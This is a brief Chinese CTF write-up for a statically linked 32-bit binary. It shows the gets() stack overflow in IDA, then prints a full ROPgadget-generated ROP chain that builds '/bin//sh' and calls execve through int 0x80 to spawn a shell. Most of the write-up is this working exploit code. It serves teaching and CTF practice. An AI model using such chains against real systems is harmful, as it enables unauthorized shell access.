

简单的一道题目

首先ida看一下代码




















```
1 // positive sp value has been detected, the output may be wrong!
2 int __cdecl main(int argc, const char **argv, const char **envp)
3 {
4     overflow();
5     return 0;
6 }
```

可以看到overflow函数

```
1 BYTE *overflow()
2 {
3     char v1[12]; // [esp+Ch] [ebp-Ch] BYREF
4
5     return gets(v1);
6 }
```

很明显的溢出函数了

然后看一下函数列表

Function name	
 <code>_init_proc</code>	1
 <code>_strcpy</code>	2
 <code>_strlen</code>	3
 <code>_memmove</code>	4
 <code>_rawmemchr</code>	5
 <code>_wcslen</code>	6
 <code>_strrchr</code>	
 <code>_stpcpy</code>	
 <code>_memchr</code>	
 <code>_memcmp</code>	
 <code>_strcasecmp_l</code>	
 <code>_memset</code>	
 <code>_strcmp</code>	
 <code>_strncasecmp_l</code>	
 <code>_strchr</code>	
 <code>backtrace_and_maps</code>	
 <code>detach_arena_part_3</code>	
 <code>read_int</code>	
 <code>...</code>	

很明显属于是静态编译了

可以用ROPgadget的ropchain函数来进行攻击

```
# ROPgadget --binary rop --ropchain
```

root@ubuntu: /home/wsxx/Desktop/ctf

```
from struct import pack

# Padding goes here
p = ''

p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
```

得到了exp

[illegible]